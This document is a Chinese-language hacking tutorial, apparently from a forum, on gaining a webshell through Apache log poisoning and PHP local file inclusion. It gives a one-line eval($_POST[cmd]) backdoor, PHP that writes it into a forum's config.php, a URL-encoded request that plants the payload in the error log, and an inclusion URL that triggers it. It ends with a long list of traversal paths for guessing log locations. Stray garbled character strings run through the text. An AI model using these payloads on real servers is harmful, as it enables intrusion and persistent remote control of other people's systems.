php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

, P' X5 J0 Z. \' g比如还是这句一句话木马
<?eval($_POST[cmd]);?>   

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
- f9 L/ c5 r5 u  Ffopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
% ?- m" ]" g7 B5 R
( J* K2 K. m9 b4 H/ E我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
3 g- b6 F7 d  M, K4 p* ?9 w) W转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
2 X6 y3 ~6 g; h6 Rconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
% p" z7 ~( J1 T%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
2 i7 l5 e) E% ?: G. [0 D* i* C
5 I4 W# v5 Q3 l) @这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
+ ~/ f" a# x9 J5 w  p- b
这样webshell就写入成功了，config.php里就写入一句木马语句
! D! t6 [! F- a9 j- AOK.
- \+ v% e  ^, J9 z5 o  Vhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
; L" _: d" A* l8 D9 J5 e直接用lanker的客户端一连，主机就是你的了。
- [3 p, _1 x' @$ r9 P+ E7 F: h4 C! j
; y) P7 p8 Q! B/ O0 z- U1 DPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

1 f7 b3 y; J6 j1 E& K8 L% ?) w其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
8 X! C3 ?. [+ z4 e% N* A../apache/logs/access.log
# ?3 p: Y! N: |6 S../../apache/logs/error.log
3 U4 ]% W3 Y" q8 D) p../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
1 B2 t( g2 _; }' Z5 t4 @* `../../../../../../../../../../etc/httpd/logs/error.log
0 X3 _4 f2 F# \/ P2 M+ h8 k3 t../../../../../../../../../../var/www/logs/access_log
+ U: x2 C2 \3 E4 S/ r../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
2 F7 Z8 K8 d: F../../../../../../../../../../usr/local/apache/logs/access.log
: K( X  W; r+ S' u2 k. S../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
9 p" {0 C0 Y8 {( ~../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
& u+ A; ~# J1 v  C8 G../../../../../../../../../../var/log/apache/error.log
8 e8 y; Z( F8 l* h5 d' |../../../../../../../../../../var/log/access_log
) I9 `, @, J- c- R+ y& n# @../../../../../../../../../../var/log/error_log
% `* u" ]1 \8 [( L/var/log/httpd/access_log      
7 Y- \2 b# v# l$ y/ {5 k: m" c/ m  M/var/log/httpd/error_log     
../apache/logs/error.log     
, r* U4 C( a4 h$ Q, c, s8 l5 @" E" y../apache/logs/access.log
# y4 g: f) h+ F8 ]3 m/ n2 t; u../../apache/logs/error.log
6 K: J& G7 ^8 A, u+ B* g../../apache/logs/access.log
# w: d4 K- r; N# R! ?% @../../../apache/logs/error.log
../../../apache/logs/access.log
% E& f/ {+ A3 O* }  f, m0 H/etc/httpd/logs/acces_log
4 b6 T  w8 M" E2 F/etc/httpd/logs/acces.log
6 f7 O: S  w& s% k" |. {/ O) X' w/etc/httpd/logs/error_log
: l# j0 a* _9 D$ ]3 s$ B/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
. U$ `% Q$ @$ c5 U! E1 g  t/usr/local/apache/logs/access_log
3 I: t% y  S4 I) A) o, z/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
4 u- M0 `# S* M  E5 V; S' G/usr/local/apache/logs/error_log
" [! t. }5 b8 A2 _9 a* U/usr/local/apache/logs/error.log
. ]' h  L* C/ u/var/log/apache/error_log
/var/log/apache/error.log
7 u6 v9 x; y' ~) V7 J: z5 c/var/log/access_log
/var/log/error_log